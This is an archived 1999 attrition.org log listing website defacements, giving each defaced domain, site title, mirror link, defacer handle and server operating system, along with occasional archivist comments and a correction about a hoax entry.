      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/pritchett.k12.co.us 
      Defaced by: ytcracker 
      Operating System: Windows NT (IIS/4.0)
       
      
      
      Defaced domain: www.tradewide.com
      Site Title: knell
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.tradewide.com 
      Defaced by: knell 
      Operating System: Linux
       
       
      Defaced domain: d55.lehman.cuny.edu
      Site Title: City University of New York 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/d55.lehman.cuny.edu 
      Defaced by: DHC (nemesystem)
      Operating System: Irix
       
       
      Defaced domain: www.acebank.com
      Site Title: ACEBank Inc 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.acebank.com 
      Defaced by: dukj 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.eng.bton.ac.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.eng.bton.ac.uk 
      Defaced by: PhaTTy 
      Operating System: SunOS 4.1.x (NCSA/1.4.2)
      Attrition comment: View source. Genius forgot to close a tag it seems.
       
       
      Defaced domain: www.firephotos.com
      Site Title: Fire Photos 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.firephotos.com 
      Defaced by: c0de red 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: sos.state.nv.us
      Site Title: State of Nevada 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/sos.state.nv.us
      Defaced by: ieet 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: dns2.mdcinstaweb.com
      Site Title: MDC India Pvt Ltd 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/dns2.mdcinstaweb.c 
      Operating System: Red Hat Linux (Apache 1.3.6)
       
       
      Defaced domain: www.dcmde.dla.mil
      Site Title: Defense Contract Management Center East (Defense Logistics Agency) 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.dcmde.dla.mil 
      Defaced by: ytcracker 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.mdir.de
      Site Title: MDIR 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.mdir.de 
      Defaced by: darkness 
      Operating System: Linux (Apache 1.1.1)
       
       
      Defaced domain: sparc.lps.org 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/sparc.lps.org 
      Defaced by: bansh33 
      Operating System: Solaris 2.6 - 2.7 (Netscape-Enterprise/2.01)
       
       
      Defaced domain: www.intelsat.int
      Site Title: Intelsat 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.intelsat.int 
      Defaced by: fuqrag 
      Operating System: Windows NT (IIS/4.0) 
      
      Defaced domain: excaliber.barnhard.net
      Site Title: Barnhard Associates 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/excaliber.barnhard.net 
      Defaced by: darkness 
      Operating System: Li
      
      
      Defaced domain: www.gameis.org
      Site Title: Georgia Association of Managers of Educational Information 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.gameis.org 
      Defaced by: p4riah 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.wiltonwired.com
      Site Title: Wilton Wired 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.wiltonwired.com 
      Defaced by: sSh 
      Operating System: Solaris
       
       
      Defaced domain: www.djakovo.net
      Site Title: Z & M Studio 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.djakovo.net 
      Defaced by: Analognet 
      Operating System: Digital Unix
       
       
      Defaced domain: zeus.mentorfoundation.org
      Site Title: The Mentor Foundation 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/zeus.mentorfoundation. 
      Defaced by: darkness 
      Operating System: Red Hat Linux (Apache 1.3.6)
       
       
      Defaced domain: www.1stnatbank.com
      Site Title: First National Bank of Homestead 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.1stnatbank.com 
      Defaced by: dukj 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.fcsi.fujitsu.com
      Site Title: Fujitsu Compound Semiconductor, Inc. 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.fcsi.fujitsu.com 
      Defaced by: dukj 
      Operating System: Windows NT
       
       
      Defaced domain: commerce.state.ut.us 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/commerce.state.ut.us
      Defaced by: ieet 
      Operating System: NT
       
       
      Defaced domain: m0.icondev.com
      Site Title: Icon Developments 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/m0.icondev.com 
      Defaced by: Darkness 
      Operating System: Linux (Apache 1.3.4)
       
      Defaced domain: www.electronitel.ch
      Site Title: Electronitel 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.electronitel.ch 
      Defaced by: darkness 
      Operating System: Linux
       
       
      Defaced domain: linu.wulfredecorp.com
      Site Title: Wulfrede Consulting Corporation 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/linu.wulfredecorp.com 
      Defaced by: darkness 
      Operating System: Linux
       
       
      Defaced domain: www.cassette-recordings.org
      Site Title: Cassette Recordings 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.cassette-recordings.org 
      Defaced by: inKK 
      Operating System: Solaris 2.6 - 2.7 (Apache 1.3.6)
       
       
      Defaced domain: www.worldzoo.org
      Site Title: International Species Information System 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.worldzoo.org 
      Defaced by: ULG 
      Operating System: NT
      HIDDEN comments in the HTML.
      
      * We have been informed from fairly reliable sources that the earlier hack
        of 'www.worldzoo.org' was NOT done by ULG. We will try to find out what
        happened and post to the mirror accordingly.
      
      
      
       
       
      Defaced domain: www.isolnet.com
      Site Title: Internet Solutions 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.isolnet.com 
      Operating System: Windows NT (IIS/4.0)
      
      
      Defaced domain: www.naewfc.nato.int
      Site Title: NATO 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.naewfc.nato.int 
      Defaced by: ytcracker 
      Operating System: Windows NT (IIS/4.0)
      
      
      Defaced domain: tswww.tc.blm.gov
      Site Title: Bureau of Land Management National Training Center 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/tswww.tc.blm.gov 
      Defaced by: ytcracker 
      Operating System: Windows NT
      
      
      Defaced domain: www.acus.org
      Site Title: Atlantic Council of the United States 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.acus.org 
      Defaced by: fuqrag 
      Operating System: Windows NT
      
      
      Defaced domain: www.ccf.nl
      Site Title: CCF Library of Art 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.ccf.nl 
      Defaced by: ieet 
      Operating System: Windows NT
       
       
      Defaced domain: www.dtssoftware.com
      Site Title: DTS Software 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.dtssoftware.com 
      Defaced by: ieet 
      Operating System: Windows NT
       
       
      Defaced domain: usasucks.com
      Site Title: USA Sucks 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/usasucks.com 
      Defaced by: cheezhead 
      Operating System: FreeBSD (running the Stronghold Apache server)
       
       
      Defaced domain: www.teamrmsi.com
      Site Title: Removable Media Solutions Inc 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.teamrmsi.com 
      Defaced by: ieet 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.louisa.net
      Site Title: Thayer Enterprises 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.louisa.net 
      Defaced by: ieet 
      Operating System: Windows NT
       
       
      Defaced domain: www.adusp.org.br 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.adusp.org.br 
      Defaced by: ieet 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.ionstorm.com
      Site Title: Ion Storm 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.ionstorm.com 
      Defaced by: fuqrag 
      Operating System: Windows NT
       
       
      Defaced domain: www.advdatacom.net
      Site Title: Advanced Data Designs 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.advdatacom.net 
      Defaced by: phiber 
      Operating System: Windows NT
       
       
      Defaced domain: www.lottoteam.com
      Site Title: Lottoteam 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.lottoteam.com 
      Defaced by: bansh33 
      Operating System: Windows NT
       
       
      Defaced domain: www.saehwa.net
      Site Title: Saehwa 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.saehwa.net 
      Defaced by: knell 
      Operating System: Linux
       
       
      Defaced domain: www.fintrac.com
      Site Title: Fintrac 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.fintrac.com 
      Defaced by: ieet 
      Operating System: Windows 95
       
       
      Defaced domain: www.autorecalls.com
      Site Title: Auto Recalls 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.autorecalls.com 
      Defaced by: ieet 
      Operating System: Windows NT
       
       
      Defaced domain: www.worldmegastore.com
      Site Title: World Mega Store 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.worldmegastore.com 
      Defaced by: darkness 
      FREE KEVIN reference in the HTML
      
      
      Defaced domain: www.cnv.gov.ar
      Site Title: Comisión Nacional de Valores 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.cnv.gov.ar 
      Defaced by: inferno.br 
      Operating System: Windows NT
       
       
      Defaced domain: www.sdkorea.com
      Site Title: seowoongjeongbo 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.sdkorea.com 
      Defaced by: knell 
      Operating System: Linux (Apache 1.3.4)
       
       
      Defaced domain: mail.itbank.net
      Site Title: ITBank Co.,Ltd 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/mail.itbank.net 
      Defaced by: knell 
      Operating System: Linux
       
       
      Defaced domain: stat-gw.irtel.ru
      Site Title: Irtel 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/stat-gw.irtel.ru 
      Defaced by: darkness 
      Operating System: Linux
       
       
      Defaced domain: www.justedit.com
      Site Title: Canopus Corporation 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.justedit.com 
      Defaced by: fuqrag 
      Operating System: Windows NT
       
       
      Defaced domain: canadacouncil.ca
      Site Title: Canada Council 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/canadacouncil.ca 
      Defaced by: phiber
       
       
       
      Defaced domain: international.gsfc.nasa.gov
      Site Title: International Program 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/international.gsfc.nasa.gov 
      Defaced by: ytcracker 
      Operating System: Windows NT
       
       
      Defaced domain: web-hilfe.ch
      Site Title: Web Hilfe Switzerland 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/web-hilfe.ch 
      Defaced by: knell 
      Operating System: Linux
      HIDDEN comments in the HTML.
       
       
      Defaced domain: www.goddessjeanna.com
      Site Title: Life Style International Research Services 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.goddessjeanna.com 
      Defaced by: Analognet 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: orion.lib.mi.us
      Site Title: Orion Library 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/orion.lib.mi.us 
      Defaced by: ieet 
      Operating System: Windows NT
       
       
      Defaced domain: www.solchip.com
      Site Title: SolChip Technology Corp 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.solchip.com 
      Defaced by: sSh 
      Operating System: Linux (Apache 1.3.6)
      
      Defaced domain: www.superstition.com
      Site Title: Superstition 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.superstition.com 
      Defaced by: sSh 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: outlook.dcaa.mil
      Site Title: Defense Contract Audit Agency 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/outlook.dcaa.mil 
      Defaced by: ytcracker 
      Operating System: Windows NT
       
       
      Defaced domain: www.ppplastic.com
      Site Title: Plastic Pallette Production 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.ppplastic.com 
      Defaced by: bansh33 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.city2people.com
      Site Title: Gaeinyong 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.city2people.com 
      Defaced by: knell 
      Operating System: Linux (Apache 1.3.6)
       
       
      Defaced domain: www.chinamor.cn.net
      Site Title: DATA Communication Bureau 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.chinamor.cn.net 
      Defaced by: kryptek 
      Operating System: Solaris 2.5x (Netscape-Enterprise/2.01)
       
       
      Defaced domain: www.pbs.com
      Site Title: Publishing Business Systems 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.pbs.com
      Defaced by: md5 
      Attrition comment: n
       
       
      Defaced domain: www.lynnbbw.com
      Site Title: Stuart Collins 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.lynnbbw.com 
      Defaced by: Analognet 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: penguin.emaponline.com
      Site Title: EMAP Online 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/penguin.emaponline.com 
      Defaced by: sSh 
      Operating System: Red Hat Linux (Apache 1.3.6)
       
       
      Defaced domain: www.hempcat.com
      Site Title: Future Fibre, Inc 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.hempcat.com 
      Defaced by: fuqrag 
      Operating System: Windows NT
      Attrition comment: n
       
       
      Defaced domain: www.coe.fr
      Site Title: Council of Europe Convention 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.coe.fr 
      Defaced by: fuqrag 
      Operating System: Windows NT
       
       
      Defaced domain: www.moon-star.co.kr
      Site Title: Moons Consulting Co. 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.moon-star.co.kr 
      Defaced by: knell 
      Operating System: Linux
       
       
      Defaced domain: alfredadler.edu
      Site Title: Alfred Adler Institute 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/alfredadler.edu 
      Defaced by: Verb0 
      Operating System: Windows NT
      Attrition comment: n
       
       
      Defaced domain: alfredtech.edu
      Site Title: Alfred State College 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/alfredtech.edu 
      Defaced by: Verb0 
      Operating System: Windows NT
      Attrition comment: n
       
       
      Defaced domain: ntc.blm.gov
      Site Title: National Training Center, Bureau of Land Management 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/ntc.blm.gov 
      Defaced by: p4riah 
      Operating System: Windows NT
      Attrition comment: n
       
       
      Defaced domain: msundns.msun.edu
      Site Title: Montana State University Northern 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/msundns.msun.edu
      Defaced by: darkness 
      Operating System: Linux
      Attrition comment: n
       
       
      Defaced domain: www.govideonow.com
      Site Title: Go Videos 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.govideonow.com 
      Defaced by: mistuh clean 
      Operating System: Solaris
      Attrition comment: n
       
       
      Defaced domain: www.creg.org
      Site Title: Citizens for Responsible and Ethical Government 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.creg.org 
      Defaced by: sp00ky kr3w 
      Operating System: NT
       
       
      Defaced domain: www.tricowebs.com
      Site Title: Suwannee Valley Internet 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.tricowebs.com 
      Defaced by: sp00ky kr3w
      Operating System: NT
       
       
      Defaced domain: www.dirtyindex.com
      Site Title: Sandra Kiepisch 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.dirtyindex.com 
      Defaced by: Analognet 
      Operating System: FreeBSD 2.2.1 - 3.0 (Apache 1.3.6)
      Attrition comment: n
       
       
      Previously Hacked
      Defaced domain: www.hwa.net
      Site Title: Hoefer WYSOCKI Architects 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.hwa.net 
      Defaced by: c0de red 
      Operating System: Windows NT (IIS/4.0)
      Attrition comment: 3rd Time Defaced
       
       
      Previously Hacked
      Defaced domain: www.gameis.org
      Site Title: Georgia Association of Managers of Educational Information 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.gameis.org 
      Defaced by: c0de red 
      Operating System: Windows NT (IIS/4.0)
      Attrition comment: 2nd Time Defaced
       
       
      Defaced domain: www.tsrinc.com
      Site Title: Wizards of the Coast, Inc. 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.tsrinc.com 
      Defaced by: Cipher 
      Operating System: Windows NT
      Attrition comment: n
       
       
      Defaced domain: www.cyber-fantasy.net
      Site Title: cyberfantasy 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.cyber-fantasy.net 
      Defaced by: verb0 
      Operating System: BSDI 3.0 (Apache 1.2.6)
       
       
      Defaced domain: www.itips.gov
      Site Title: US Department of Energy (ITIPS-DOM) 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.itips.gov
      Defaced by: Sarin 
      Operating System: Windows NT (IIS/4.0)
      HIDDEN comments in the HTML.
       
       
      Defaced domain: www.kingston.com
      Site Title: Kingston Technology Corp 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.kingston.com 
      Defaced by: fuqrag 
      Operating System: Windows NT (IIS/4.0)
       
       
      Previously Hacked
      Defaced domain: www.hershey.com
      Site Title: Hershey Business Systems 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.hershey.com 
      Defaced by: ieet 
      Operating System: Windows NT (IIS/4.0)
      Attrition comment: Hacked on 99.11.17 also
       
       
      Defaced domain: www.usedtwoway.com
      Site Title: Sterling Associates 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.usedtwoway.com 
      Defaced by: shortfuse 
      Operating System: SunOS (Apache 1.2.4)
      Attrition comment: masshack w/: http://klinks.com/
       
       
      Defaced domain: aristotle.cis.tamuk.edu
      Site Title: Texas A&M University - Kingsville 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/aristotle.cis.tamuk.edu 
      Defaced by: verb0 
      Operating System: Windows NT (IIS/4.0)
      Attrition comment: 22nd claimed hack
       
       
      Defaced domain: www.apecsec.org.sg 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.apecsec.org.sg 
      Defaced by: fuqrag 
      Operating System: Windows NT (IIS/4.0)
      
      
      Defaced domain: www.bellscatering.com
      Site Title: Bells Restraurant 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.bellscatering.com
      Defaced by: sp00ky 
      Operating System: Windows NT (IIS/4.0)
      Attrition comment: mass hack
       
       
      Defaced domain: www.medishopping.com
      Site Title: chunsuk hyun 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.medishopping.com 
      Defaced by: knell 
      Operating System: Red Hat Linux (Apache 1.2.6)
       
       
      Defaced domain: www.comunycarse.com
      Site Title: Comunycarse Network Consultants 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.comunycarse.com 
      Defaced by: w0lf 
      Operating System: Irix
      Attrition comment: n
       
       
      Defaced domain: www.mefa.uni-jena.de 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.mefa.uni-jena.de 
      Defaced by: DHC 
      Operating System: Solaris 2.5x (Netscape-Enterprise/2.0d)  
      Previously Hacked
      Defaced domain: rocket-science.marlboro.edu
      Site Title: Marlboro College
       
       
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/rocket-science.marlboro.edu 
      Defaced by: Tranzer 
      Operating System: Windows NT (IIS/4.0)
      Attrition comment: Previously defaced on 99.07.30 by FL3M
      
      
      Previously Hacked
      Defaced domain: www.itcampeche.edu.mx 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.itcampeche.edu.mx 
      Defaced by: kryptek 
      Operating System: Solaris 2.5.x (NCSA/1.5)
      Attrition comment: Previously Defaced on 99.11.01 by TREATY
       
       
      Defaced domain: dmirror.destia.com
      Site Title: Destia Communications 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/dmirror.destia.com 
      Defaced by: darkness [sSh] 
      Operating System: Linux (Apache 1.3.4)
       
       
      Defaced domain: www.dep.ensino.eb.br 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.dep.ensino.eb.br 
      Defaced by: JLM 
      Operating System: Windows NT (IIS/4.0)
       
       
      Previously Hacked
      Defaced domain: www.firephotos.com
      Site Title: Fire Photos 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.firephotos.com 
      Defaced by: p4riah 
      Operating System: Windows NT (IIS/4.0)
      Attrition comment: Previously defaced on 99.10.26, 99.10.29, and 99.11.22
       
       
      Defaced domain: www.andyanarchist.com
      Site Title: MICHAEL PHONIC 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.andyanarchist.com 
      Defaced by: Lucid
      Operating System: Solaris 2.6 - 2.7 (Apache 1.3.6)
       
       
      Defaced domain: www.data.volvo.be
      Site Title: Volvo Information Technology Belgium 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.data.volvo.be 
      Defaced by: dukj 
      Operating System: NT
       
       
      Defaced domain: www.smeg.co.nz 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.smeg.co.nz 
      Defaced by: dukj 
      Operating System: Windows NT (IIS/4.0)
      
      Defaced domain: www.guinessrecords.com
      Site Title: Corrected Book of Records
       
       
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.guinessrecords.com
       
       
      Operating System: FreeBSD 2.2.1 - 3.0
      Attrition comment: VERY interesting defacement this time. Targeted, good message, etc.
      FREE KEVIN reference in the HTML
      
      Late Note:
      
      Chalk it up to yet another case of insomnia and sleep dep, but the
      previous 'Guiness' hack was somewhat of a hoax:
      
      Registrant:
      The Corrected Book of Records (GUINESSRECORDS2-DOM)
         PO Box 752
         Middle Island, NY 11953
         US
      
         Domain Name: GUINESSRECORDS.COM
      
         Administrative Contact, Technical Contact, Zone Contact:
            Goldstein, Emmanuel  (EG1)  emmanuel@2600.COM
            (516) 751-2600 (FAX) (516) 474-2677
         Billing Contact:
            Goldstein, Emmanuel  (EG1)  emmanuel@2600.COM
            (516) 751-2600 (FAX) (516) 474-2677
      
      
      This appears to be part of 2600's crusade for the Free Kevin movement, NOT
      the real Guiness site.
      
      Sorry for the false alarm. 
       
      
      Defaced domain: mg-206253202-96.ricochet.net
      Site Title: Metricom, Inc 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/mg-206253202-96.ricochet.ne 
      Defaced by: sSh 
      Operating System: Red Hat Linux (Apache 1.3.6)
      Defaced domain: www.barat.edu
      Site Title: Barat College
       
       
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.barat.edu 
      Defaced by: Verb0 
      Operating System: NT
       
       
      Defaced domain: misr.larcmo.ecs.nasa.gov
      Site Title: misr.larcmo.ecs.nasa.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/misr.larcmo.ecs.nasa.gov 
      Defaced by: darkness 
      Operating System: Linux
       
       
      Defaced domain: aubg.edu
      Site Title: American University In Bulgaria 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/aubg.edu 
      Defaced by: Verb0 
      Operating System: Windows NT
      Attrition comment: n
       
       
      Defaced domain: barat.edu
      Site Title: Barat College 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/barat.edu 
      Defaced by: Verb0 
      Operating System: Windows NT
      Attrition comment: n
       
       
      Defaced domain: blackdog.larcmo.ecs.nasa.gov
      Site Title: NASA LARCMO 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/blackdog.larcmo.ecs.nasa.go 
      Defaced by: darkness 
      Operating System: Linux
      Attrition comment: n
       
       
      Defaced domain: www.jackpotentertainment.com
      Site Title: Jackpot Entertainment Magazine 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.jackpotentertainment.co 
      Defaced by: mistuh clean 
      Operating System: Solaris
      Attrition comment: n
       
       
      Defaced domain: www.dads.com
      Site Title: Dads.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.dads.com 
      Defaced by: mistuh clean 
      Operating System: Solaris
       
       
      Defaced domain: www.investigate.org
      Site Title: Bux - Mont Security Associates 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.investigate.org 
      Defaced by: knell 
      Operating System: BSDI
       
       
      Previously Hacked
      Defaced domain: www.monicalewinsky.com
      Site Title: Monica Lewinsky 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.monicalewinsky.com 
      Defaced by: knell 
      Operating System: BSDI
       
       
      Previously Hacked
      Defaced domain: www.jammin.com
      Site Title: Jammin 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.jammin.com 
      Defaced by: mistuh clean 
      Operating System: Solaris
       
       
      Defaced domain: latino-market.com
      Site Title: Latino Market 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/latino-market.com 
      Defaced by: Tranzer 
      Operating System: Windows NT
       
       
      Defaced domain: www.safestreets.net
      Site Title: Safe Streets Petition 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.safestreets.net 
      Defaced by: mistuh clean 
      Operating System: Solaris
       
       
      domain: www.flyryan.com
      Site Title: Ryan International Airlines 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.flyryan.com 
      Defaced by: NitrOBurn 
      Operating System: Red Hat Linux (Apache 1.3.6)
       
       
      Defaced domain: mail.olls.org
      Site Title: Our Lady of Lourdes Catholic School 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/mail.olls.org 
      Defaced by: nitr0burn 
      Operating System: Red Hat Linux (Apache 1.3.6)
       
       
      Defaced domain: wasp.covtest.org
      Site Title: Covenant Health System 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/wasp.covtest.org 
      Defaced by: sSh 
      Operating System: Red Hat Linux (Apache 1.3.6)
       
      Defaced domain: www.cordless.com
      Site Title: Cordless Computing 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.cordless.com 
      Defaced by: I.R.C 
      Operating System: Windows NT (IIS/4.0)
       
       
      Previously Hacked
      Defaced domain: www.korn.com
      Site Title: Korn E-Mail Service 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.korn.com 
      Defaced by: Digital/h4p/Hi-Tech Hate/Fubuhacking 
      Operating System: Solaris 2.6 - 2.7 (Apache 1.2.4)
      Attrition comment: Previously defaced on 99.08.06 by Global Hell
       
       
      Defaced domain: www.sesame-qualite.com
      Site Title: Sesame 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.sesame-qualite.com 
      Defaced by: dukj 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.grcbc.org.au
      Site Title: GRCBC 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.grcbc.org.au 
      Defaced by: ALOC 
      Operating System: FreeBSD
      HIDDEN comments in the HTML.
       
       
      Defaced domain: www.nukleer.gov.tr
      Site Title: www.nukleer.gov.tr 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.nukleer.gov.tr 
      Defaced by: oystr -n- klam 
      Operating System: Linux
       
       
      Defaced domain: latino.org
      Site Title: Volny Translations 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/latino.org 
      Defaced by: uNF 
      Operating System: BSDI 4.0 (Apache 1.2.6)
       
       
      Defaced domain: www.health.gov.tr
      Site Title: www.health.gov.tr 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.health.gov.tr 
      Defaced by: oystr -n- klam 
      Operating System: Solaris
       
       
      Defaced domain: www.latino.org
      Site Title: Volny Translations 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.latino.org
      Defaced by: del burro 
      Operating System: BSDI
       
       
      Previously Hacked
      Defaced domain: www.korn.com
      Site Title: Korn E-mail Service 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.korn.com
      Defaced by: hacking for ponies 
      Operating System: Solaris 2.6 - 2.7 (Apache 1.2.4)
      Attrition comment: Previously defaced on 99.08.06 by Global Hell, 99.11.26 by Digital
       
       
      Defaced domain: www.realhiphop.com
      Site Title: Mahavishnu Inc 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.realhiphop.com 
      Defaced by: knell 
      Operating System: BSDI 4.0 (Apache 1.2.6)
       
       
      Defaced domain: unix9.org
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/unix9.org 
      Defaced by: Da Eternal
      Operating System: OpenBSD (Apache 1.3.4)
       
       
      Defaced domain: dagoon.com
      Site Title: Clarence Prior 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/dagoon.com 
      Defaced by: Analognet 
      Operating System: Solaris 2.6 - 2.7 (Apache 1.3.9)
       
       
      Defaced domain: www.paintweb.com
      Site Title: Luiz Fernando Faria De Carvalho 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.paintweb.com 
      Defaced by: Death Knights 
      Operating System: Linux (Apache 1.3.4)
       
       
      Defaced domain: prolapse.org
      Site Title: Heraclito Maia 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/prolapse.org 
      Defaced by: Death Knights 
      Operating System: Linux (Apache 1.3.4)
      Attrition comment: 1 of 100 domains defaced
       
       
      Defaced domain: www.troth.org.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.troth.org.uk 
      Operating System: Solaris 2.6 - 2.7 (Apache 1.3.4)
      Attrition comment: www.ipf.net.uk also defaced
       
       
